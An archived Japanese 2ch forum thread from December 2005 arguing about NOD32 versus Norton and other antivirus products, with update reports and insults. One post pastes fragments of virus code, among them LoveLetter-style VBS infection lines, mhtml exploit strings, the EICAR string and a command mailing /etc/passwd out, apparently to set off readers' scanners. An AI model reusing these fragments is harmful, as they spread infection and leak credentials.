価格が高い
GUIが解り難杉
シグネチャの配布が遅い
アンチウイルス単体なんて今時貧弱すぎ
スパイウエアに弱い
信者が糞

以上の点に反論できるか？
863 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 08:12:08 ]: >>861
馬鹿が居ました
864 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:18:26 ]: もうすぐクリスマスだからって小分けにして何回も定義更新するなよ。
と、更新分を見てたら最近Win32/Lovsanが結構あるな。なにこれ。今更ブラスターの亜種に対応したってこと？
自動対応だからってちょっと間抜けすぎないか。
865 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:27:14 ]: ノートンみたいな糞なもん使ってる馬鹿は死ねやｗｗ
866 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/23(金) 08:28:10 ]: >>864
NODの正体見たりって感じだよねｗ
867 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:28:29 ]: >>862
ノートンよりましｗｗｗｗｗｗｗｗｗｗｗ

反論出来るか？ｗｗｗｗｗｗｗｗｗｗ
868 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:32:28 ]: >>856
はぁ？？

ノートンが良いソフトなわけねーだろｗ
知名度が高いだけｗ
中身はショボショボの激重ｗｗｗ

馬鹿はババアのおっぱいでもしゃぶってろやｗｗ
869 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/23(金) 08:33:24 ]: >>867
具体的な指摘が無ければ意見にすらならないね
それに私はNODの絶対評価をしてるのであって、相対評価などしていない
870 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:34:53 ]: >>868
知名度が高いって事は優秀な何よりの証拠
NODはなんで知名度低いの？
優秀だって言うならもっと売れてもいいんじゃない？
871 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:35:10 ]: >>869
てめーの評価なんか誰も聞いてねーんだよカス
馬鹿は消えなｗ
872 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:37:09 ]: >>871
具体的な反論ができないとすぐに罵倒してお茶を濁すのか
NOD厨もたかが知れてるね
これで他のソフトのユーザーより知識が豊富だって言うんだから笑っちゃうよ
873 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:38:25 ]: >>870
宣伝の結果だな
そんなこともわからんのか猿
市場の原理をもう少し勉強したら？ｗｗ
874 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:39:04 ]: >>872
ノートンよりマシ

ほれ反論してみろやｗ
875 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:41:15 ]: 何度も書くが　ﾉｰﾄﾝなんて相手にもならん
ずーーっとﾉｰﾄﾝ使ってたから判るあの重さ・・・　

ｳｨﾙｽ＝ﾉｰﾄﾝ
876 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:42:39 ]: AthlonXP2500、RAM1.5G
ノートン、ウィルスバスター、NOD32と試してきたけど、どれも重さはそんなに感じなかったけどな。
ノートンは言われてみればそうかもなぁとは思うが、言われなきゃそんなに気にしなかったと思う。
877 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:51:21 ]: 実際マカフィーとバスターは軽い。マカフィーの検査速度は時としてNODを超えるらしいし（VBによると）。
ただノートンは知らん。あれはインストールの時点ですでにやたら時間食うしな・・・正直あんま入れたくはない。
878 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:51:24 ]: そりゃ何もしてなければねえ
X2使って、ながら作業が当たり前になるとよくわかる
879 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 11:44:39 ]: 馬鹿フィーが軽いわけねえだろ
880 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 11:49:49 ]: サーバーが繋がらない。
881 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 11:54:29 ]: 1.1335 (20051222)
882 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 12:04:34 ]: >>880
うｐ立てサーバーu4.eset.comに固定しる。
883 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 12:55:43 ]: >>875
ずっとノートンをデフォルト設定で使ってたという馬鹿宣言はしなくていい。
884 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 13:57:00 ]: つまりノートンはバカってことですね
885 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 14:17:10 ]: >>862
>アンチウイルス単体なんて今時貧弱すぎ
>スパイウエアに弱い

NISみたいな総合的なセキュリティソフトの方が売れるのは当然だけど、NOD32はアンチウィルスなんだから
そもそもカテゴリから外れる上記の二つを悪い点に挙げるのは見当違い。他は同意。
でも良いか悪いかは悪い点だけ見ても判断できなくて、>>867みたいにいきなりNAVと比較出来るとは思えない。
軽いとか常駐の負担が少ないとか良い点があるから俺は買ったよ。
886 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 14:52:19 ]: >>885
最後の１行だけでいい
887 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 15:25:39 ]: たかがPCソフトのことで罵り合ってバカみたい。
自分に合ったやつを使うだけじゃん。
なんでノートン使用者はわざわざこのスレに来て罵倒してるんだ？
888 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 15:37:47 ]: >>887
それはマジレスですか
それともマッチポンプですか？
889 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 15:44:23 ]: >>887
せっかく金出して買ったのに重くて辛いから。

八つ当たりってやつ
890 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 16:04:11 ]: >>887
暇だから
馬鹿だから
891 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 16:04:57 ]: 脳豚来ないでね
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
892 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 16:20:13 ]: >>891
ウエルス貼るんじゃねーよ！警告出てフリーズしたぞ！
ＰＣがおかしくなったら訴えるからな！！
893 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 16:33:52 ]: >>891
あれ？？
NOD32反応しなかった(´・ω・｀)
Nortonだけ？
894 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 16:36:04 ]: >>891
バカにしか見えないウィルス
895 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 16:58:13 ]: >>887
意識しまくってるのはNOD厨ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
896 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:00:38 ]: つかさ、アンチウイルスに金払ってるやつって馬鹿でしょ
スキル無いのバレバレじゃんｗ
897 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:03:51 ]: >>892
わざとらし過ぎ
898 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:08:59 ]: はじめてNOD使ってみたけど更新多いね。
びっくりしたよ。
899 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:09:04 ]: スキルwwwwwwwwwwwwwwww
900 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:11:25 ]: スキルっておまｗｗｗｗｗｗｗ
パケット全部チェックしてウィルスを手動除去するんじゃねーのｗｗｗ
901 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/23(金) 17:11:33 ]: >>898
全然おおくねーよ
カスペはもちろん、今時のフリーと比べてもおおくねえし
902 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:11:47 ]: つかさ、アンチウイルス割るやつって馬鹿でしょ
金無いのバレバレじゃんｗ
903 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:11:49 ]: 世界平和とは対抗しないこと。
あなたのパソコンはアンチウイルスソフトがあるから攻撃されるのです。
防衛は戦争なのです。

大津市のように　『無防備宣言』　をすべきです。
すべてのウイルス対策を無効にして
どんなウイルスでも自由に感染できるようにする。
この心掛けがとても重要なのです。
国際化のためにも寛大に受け入れる姿勢が
重要なのです。

これが世界平和へと通じるのです。

さあ、
みなさんも平和を愛するのであれば
今すぐアンチウイルスソフトを無効にしましょう。
世界平和のために。
904 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:12:25 ]: ついでに家の鍵も開けておいてね
905 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:16:26 ]: 今日も沸いてきたようだな
906 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 17:17:12 ]: >>904
そうです。
鍵こそが戦争の根源なのです。
鍵は相手を疑うことにつながります。
鍵が掛けられていれば相手は「受け入れられなかった」と恨むようになります。

つまり鍵は
相手を疑い、相手を恨む　争いの元凶なのです。

つまり
世界平和とは
世界から鍵という概念をなくすことにあります。

ですから
あなたが世界平和を愛するのであれば
今すぐすべての家の鍵を開けっぱなしにしておくことです。

無論ネットでも
すべての暗号鍵を使用してはいけません。
907 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 17:20:16 ]: セキュリティ対策を一切しない、
平和のための無防備。

セキュリティフリー　が２００６年のキーワードです。

　
908 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:20:38 ]: >>903
おまいは、キャシャーンのの第１４話を１００回ぐらいミロと
退屈だったのでなんとなく反応してみる
909 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:28:26 ]: 20日頃から出回りだしたBagleの亜種も、
定義ファイルの更新無しで捕まえたそうだな。
凄すぎるなNOD32って。

これじゃ他社の工作員が荒らしたくなるのもよく分かるよ。
ここまでNOD32との性能差があるのがばれたら、
自社製品が全く売れなくなっちゃうもんな。
910 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:35:54 ]: どうでもいいようなこといつまでもグダグダと・・・
ほんと、ウマシカばっか！ちっとは学習しろ！
911 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:36:55 ]: ￣￣￣￣￣￣￣|／￣￣￣￣￣￣￣￣￣￣￣
　　　　　　　　　 In＿℡　　
　　　　　　 ⊂（＠ε＠-）つ、 -3 　
　　　　　／／（雑音/_/::::|　　　
　　　　　 |:::|/⊂ヽノ|:::| ／」　　　　
　　　／￣￣旦￣￣￣／| 　　　　　　　　　　
　　／＿＿＿＿＿＿／ .| |
　　| |-----------| |
912 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:39:22 ]: NOD使うのやめます。
本当にありがとうございました。
913 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:47:24 ]: >>912
ここは雑音が立てた雑音オナニースレなので、他も見てから決めても遅くないよ。

雑音とは

【動機は？】雑音犬畜生Part34【\6kの高級ｹｰｽﾏﾀﾞ?】
tmp5.2ch.net/test/read.cgi/tubo/1130566010/
914 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 17:51:28 ]: >>913
そうだったのか・・・
他もみてみるわ、ありが㌧
915 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:52:03 ]: まんせー
916 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 17:52:27 ]: スマン、あげちまった。
917 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 23:21:18 ]: >>882

入れなおして繋がるようになりました。
サンクス！!
918 名前：851 mailto:ｓage [2005/12/23(金) 23:24:26 ]: やっぱりCPUが常時高めになる
タスクを確認してNODが原因である事は間違いない
おかしくなったのはアップデートしたあたりから
今はアンインスコして直ったが・・・
どうなってんだよ、おい
919 名前：名無しさん＠お腹いっぱい。 [2005/12/24(土) 00:07:06 ]: ニュース速報キター！
見とけ明日は我が身かもよ
ttp://news19.2ch.net/test/read.cgi/newsplus/1135346554/
920 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 00:26:13 ]: おれのPCでも918と同じくCPU占有率が高い。
921 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 00:31:21 ]: CPU占有率が高いと騒ぐ前に、少しは自分で原因を調べろって

可能性として
1)AMONの干渉これはコントロールセンター開いて眺めてれば直ぐに分かる。
2)UPDATE処理を繰り返しているこれもコントロールセンター開いて眺めてれば直ぐに分かる。

簡単だろ？
922 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 00:33:49 ]: 　　　　∧__∧
　　　 (｀･ω･´)　　NOD32最高
　　　.ノ^　yヽ、　
　　　ヽ,,ﾉ==l ﾉ　　　　　　
　　　　/ 　l |
923 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 01:07:58 ]: 1.1336(20051223)
924 名前：名無しさん＠お腹いっぱい。 [2005/12/24(土) 01:18:10 ]: まだ1.1335だよ。canon
925 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 01:51:28 ]: >>924
>>882
926 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 02:09:09 ]: CANON

NOD32の情報
バージョン:1.1336 (20051223)
日付:2005年12月23日
ウイルス定義ファイルビルド:6501

他のスキャナサポートに関する情報
アーカイブサポートバージョン:1.040 (20051222)
アーカイブサポートビルド:1142
927 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 06:40:15 ]: ＿_( 'A`)＿　　
　 |Ｅ三( ヽ/)三l| 　Ｖ3　ウイルスブロック2006最強 NOW ON SALE・・・
　 |jY===）=）tr=l
928 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/24(土) 06:45:07 ]: フリーでいいじゃん
コンナノニ金払う馬鹿？
929 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/24(土) 07:28:05 ]: >>921
なんでそんな不具合がおこるんだよ
930 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 07:49:15 ]: NOD32って、メジャーバージョンアップの時は別料金？
それとも、年間更新料さえ払ってればタダ？
931 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 08:26:34 ]: NOD32の情報
バージョン:1.1337 (20051223)
日付:2005年12月23日
ウイルス定義ファイルビルド:6504
932 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 08:32:12 ]: NOD32の情報
バージョン:1.1338 (20051223)
日付:2005年12月23日
ウイルス定義ファイルビルド:6507
933 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 09:34:02 ]: >>930
アップデート込みの年間更新料
934 名前：名無しさん＠お腹いっぱい。 [2005/12/24(土) 14:38:45 ]: >>933
嘘つくなボケ
v1からｖ２の更新はただだったか？
おい
935 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 15:06:26 ]: だだだだ？
936 名前：名無しさん＠お腹いっぱい。 [2005/12/24(土) 15:57:06 ]: 早く答えろ
937 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 16:54:42 ]: ほんっとすごく軽くていいね。
938 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 17:33:45 ]: フィッシングサイトで更新料を払った>>934=936のスレはここでつか？
939 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 17:50:37 ]: >>934
え、有償だと思っているの？
940 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 18:15:53 ]: .
941 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 18:37:58 ]: >>934
え、有償だと思っているの？
マジで！？
ウッソー！！
942 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/24(土) 18:51:53 ]: NODはフィッシング詐欺にはまるで無力だからなｗ
943 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 18:53:18 ]: んなﾔﾗｼｲとこばっかいってんなよw
944 名前：名無しさん＠お腹いっぱい。 [2005/12/24(土) 18:54:26 ]: パンダとＮＯＤ32どっちかおうか迷ってます・・・・・・・・・・・・・
945 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 19:34:12 ]: パンダｗｗｗｗ！
946 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 19:34:43 ]: 今の旬はﾉｰﾄﾝ
947 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 19:44:24 ]: >>944
パンダとは本来レッサーパンダのことを言うんだよ。
948 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 19:54:38 ]: >>942
フィッシング詐欺のメールには反応したぞ
949 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 21:06:34 ]: 私はパンダ愛用してますが全く不具合等みられません

ズバリ頼もしい存在のソフトです
950 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 21:20:52 ]: ふーん。
951 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 21:48:47 ]: まぁ確かに実際フィッシングサイト自体には対応していないな。
対応してなくても別に構わんけど。
>>948
そりゃメールに反応したんじゃなくて添付されたウイルスに反応したんだろう。
952 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 22:23:21 ]: >>951
どうでもいい問題だが一応

>そりゃメールに反応したんじゃなくて添付されたウイルスに反応したんだろう。
よく来るeBayを騙ったメールだったが添付ファイルはないはず。
メールごと削除されたが、
添付ファイルに反応した場合は添付ファイルを削除するだけじゃないのか？
953 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 22:29:33 ]: 削除されたんならそれは削除されてもいいメールってこった
954 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/24(土) 22:30:54 ]: 馬鹿なレスだな
955 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/24(土) 22:41:02 ]: スレ自体が馬鹿だから
956 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/25(日) 00:40:22 ]: NODはどこがいいの？
957 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 00:41:49 ]: 全てが。
958 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 00:56:40 ]: 全てが馬鹿。
959 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 01:08:21 ]: つ「大鏡」
960 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 04:01:54 ]: 疲れた。
961 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/25(日) 04:05:39 ]: 寝ろよ
962 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 04:36:06 ]: おぉー、メールが燃えてる
このところ毎日だな。
○irus○otalでは、どこも検出していないけど
これ誤検出かな？
添付がxmas.zipでNewHeur_PE検出した人ほかにもいない？
963 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 04:37:05 ]: 怪しげなファイルをしっかりと検出できるところが凄いな。
964 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 04:38:03 ]: >>962
その添付ファイルはなんなんだ？
965 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 08:22:10 ]: >>962
明らかに臭いファイル名だなｗ
966 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 08:32:40 ]: >>962

■感染ルート
・nyあるいはそれ以外の方法でサイズ829,440の「新しいフォルダ　　　　　　.exe」を踏んで感染。
・セキュリティレベルが低いと同梱htmlで作動させ感染。
■主な症状（感染確認方法）
・C:\WINDOWS\system32\drivers\svchost.exe
　C:\WINDOWS\system32\wbem\　　　　　.exeを作成。
・C:\Documents and Settings\ユーザー名\Local Settings\Temp\jktemp\upにupフォルダ作成される。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　にsvchost.exeが登録される。

自分で確認してみろ
967 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 08:43:36 ]: 1.1339 (20051224)
968 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 11:06:32 ]: 　　　　　　　,:::-､　　　　__
　　　　　　,,r 　　〈:::::::::）　　　ｨ::::::ヽ
　　　　〃　　,::::;r‐'´ 　　　ヽ::ノ
　　　　,'::;' 　　/::/ 　__
　　　l:::l 　　ｌ::::ｌ　/:::::) 　 ,:::::､　ｊi
　　　　|::::ヽ　ｊ::::ｌ、ゝ‐′ 　ﾞ:;;:ﾉ　,j:l
　　　　}:::::::ヽ!::::::::ゝ、 <:::.ｧ＿_ノ::;!
.　　　{::::::::::::::::::::::::::::`='=‐'´:::::::::/
　　　　';::::::::::::ﾄ､::::::::::::::i＾i::::::::::::/
　　　｀ｰ--'　ヽ:::::::::::ｌ l;;;;::::ノ
　　　　　　　　　　`ｰ-"
969 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 13:10:08 ]: 誤検出ｷﾀｺﾚ！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
970 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 14:13:28 ]: >>969
おお、何で来た？
971 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/25(日) 16:30:41 ]: 誤検出！
972 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 16:45:29 ]: 田舎だから近所で全然売ってないよ。
ノートンとかバスターばっかり。

しょうがないからVectorで買うか。通販だと送料必要だし…
973 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 16:48:06 ]: Amazonとか使えば
974 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 17:01:03 ]: >>971
何を誤検出したか詳しく
975 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/25(日) 17:04:11 ]: >>974
>>962
976 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 17:24:18 ]: >>975
誤検出である説明が不足、詳しく
977 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 17:28:37 ]: すげーSpyaxeも検出できるんだな。
アンチスパイですら検出できないのが多いのに。

やっぱりNOD32は他の物とは次元が違うんだな。
それがはっきり分かったよ。
978 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 17:50:46 ]: >>966
いや、・・・メールなんだけどね
nyはやってないので。
レジストリ見たけど、認識しているものしかないようだから
検出しただけで感染はしていないみたい。

>>975, >>976
誤検出かどうかなんてわかんないよ。ただ1週間くらい前から
毎日2,3通来ているけど、ほかのどのベンダーも検出しない
みたいだから誤検出かなって。
とりあえず、さっきThreadSenseで報告しておきました。

添付のZIPを解凍してみたけど、バイナリでみるとマジックコード
があるから実行形式ではあると思う。
解凍後のファイルサイズ：24,178byte
979 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 18:02:49 ]: >>978
解凍後のファイルは何個出てきました?
解凍後のファイル名はなに？
980 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 18:03:58 ]: 見てみたいな
どっかパス付きのうpろだにでも上げてもらえないだろうか
981 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 23:29:15 ]: NODスレはスレの消費が早いな。
それだけ人気があるって証なんだろうけど。
982 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 23:32:51 ]: 妬みｶｷｺが多いからな
983 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 23:33:34 ]: 　　('A`('-`('д`('_` )　　微妙なレスしかできないなら返さなきゃいいのに…
　　ﾉ　ﾉﾉ　ﾉﾉ　ﾉ)　ﾉ|
　「「　「「　「「　「「　　　お前のカキコｲﾗﾈっつの
984 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 23:35:08 ]: 自演乙
985 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/25(日) 23:36:37 ]: このスレの98.3%は自演でできています。
986 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 00:16:14 ]: ID表示になった途端に衰える勢いが楽しみ
987 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 00:32:30 ]: >>986
単独ＩＤが増えるだけ。
988 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/26(月) 00:35:14 ]: 強制IPの方がいいね
989 名前：名無しさん＠お腹いっぱい。 mailto: [2005/12/26(月) 00:56:14 ]: fusianasanﾜﾛｽw
990 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 00:57:45 ]: 990
991 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 00:58:42 ]: さぁ、1000も取れたから寝るわ
992 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 00:59:39 ]: その前に誰か次スレよろ
993 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:02:09 ]: pc8.2ch.net/test/read.cgi/sec/1135404722/
次スレ
994 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:04:56 ]
995 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:05:18 ]
996 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:05:41 ]
997 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:06:21 ]: おおお！初めて2ちゃんねるにきました！！
いろんなジャンルがあるんですね！
998 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 01:09:13 ]: >>997
ついでに1000GET！挑戦してねｗ
999 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:10:54 ]: 1000だとなにかあるんですか？
1000 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:11:11 ]: 1000
1001 名前：１００１ [Over 1000 Thread]: このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

[ 新着レスの取得/表示 (agate) ] / [ 携帯版 ]

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef